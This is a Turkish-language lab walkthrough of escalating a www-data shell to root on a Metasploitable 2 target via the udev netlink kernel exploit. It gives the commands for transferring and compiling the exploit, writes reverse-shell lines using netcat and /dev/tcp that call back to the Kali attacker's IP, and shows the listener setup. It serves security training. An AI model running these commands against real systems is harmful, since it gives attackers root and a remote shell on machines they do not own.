Mevcut ortamdaki saldırgana ait olan Kali bilgisayarın IP adresi 100.100.200.4; hedef olarak kullanılan Metasploitable 2 sisteminin IP adresi ise 100.100.200.7’dir.
Çekirdek sürümü 2.6.* olan Linux sunucusuna standart yetkilerle elde edilen bağlantıda standart bir kullanıcı (www-data) haklarına sahip olunduğu görülmektedir.
uname -a
id
Linux Kernel 2.6’da kritik bir zafiyet bulunmaktadır. Bu zafiyeti istismar edecek kod exploit-db’den indirilerek hedef sisteme aktarılacak ve çalıştırılacaktır.
http://www.exploit-db.com/exploits/8572/
İndirilen dosya (8572.c) hedef sisteme doğrudan indirilebileceği gibi Kali üzerindeki bir paylaşım veya web sunucusu üzerinden de aktarılabilir. Bu yazıda Kali’de HTTP servisi üzerinden aktarım tercih edilmiştir. Bu amaçla apache servisi başlatılır ve indirilen dosya web sayfasının kök dizinine adı “hakyukseltme.c” olacak şekilde kopyalanmıştır.
service apache2 start
service apache2 status
cp /root/Desktop/8572.c /var/www/html/hakyukseltme.c
ls -la /var/www/html/
Kali üzerindeki dosya, Metasploitable’a indirilmeye başlanır. İndirilen dosyaya çalıştırılma izni de verilir.
wget http://100.100.200.4/hakyukseltme.c
ls -la hak*
chmod 744 hakyukseltme.c
ls -la hak*
1.4.1 sürümünden daha önceki “udev” servisi, NETKLINK mesajlarının çekirdek mi yoksa kullanıcı uzayından mı geldiğini kontrol etmediği için standart bir kullanıcı “root” gibi komut çalıştırabilmekte idi. Bu zafiyeti istismar eden kod da Netlink soketinin proses ID’sini kullanarak root gibi işlem yapmaktadır. Netlink servisinin proses ID’si “/proc/net/netlink” nesnesi içerisinden öğrenilebilmektedir. Bu proses ID değeri (genellikle) udevd prosesinin ID değerinden bir eksiktir. Mevcut ortamda Netlink PID değeri 2768 olduğu görülmektedir. Bu proses ID, istismar edilecek kod parçası (hakyukseltme.c) delendikten sonra oluşan dosyaya parametre olarak verilecektir.
ps aux | grep udev
cat /proc/net/netlink
Metasploitable üzerindeki C dosyası gcc ile derlenir.
gcc hakyukseltme.c -o hakyukseltme_derlenmis
ls -la hak*
Derlenmiş dosya /tmp/run diye bir dosya aramakta ve içeriğini “root” yetkisi ile çalıştırmaktadır. /tmp/run dosyasının içeriğine çalıştırılması istenilen herhangi bir betik/komutyazılabilir. Bu yazıda, 100.100.200.7 IP adresli Metasploitable 2’den, 100.100.200.4 IP adresli Kali’ye doğru komut satırı bağlantısı elde edilmesi için Netcat aracı çalıştırılacaktır. Bu amaçla aşağıdaki komutlar /tmp/run dosyasına yazılır.
echo ‘#!/bin/bash’ > /tmp/run
echo ‘/bin/netcat -e /bin/bash 100.100.200.4 13579’ >> /tmp/run
cat /tmp/run
Not: Kurban işletim sisteminde “netc” aracı bulunmuyorsa ikinci satır aşağıdaki gibi değiştirilebilir.
echo ‘/bin/bash -i >& /dev/tcp/100.100.200.4/13579 0>&1’ >> /tmp/run
Kali bilgisayarında da gelecek olan bağlantı telebinin yakalanması için 13579 nolu port dinlenecektir.
ifconfig eth0 | grep broadcast
nc -l -v -p 13579
Böylece istismar amaçlı derlenmiş dosya çalıştırılabilir.
./hakyukseltme_derlenmis 2768
Kali bilgisayara “root” yetkileri ile bağlantı kurulmuştur.
id
ifconfig
hostname
Not: Benzer hak yükseltme işlemi MSF udev_netlink istismar modülü ile de gerçekleştirilebilirdi.
- MSF exploits/linux/local/udev_netlink
Kaynak:
http://linux-hacking-guide.blogspot.com.tr/2015/05/metasploitable-2-privilege-escalation.html
http://securitypadawan.blogspot.com.tr/2011/10/attacking-metasploitable-part-3.html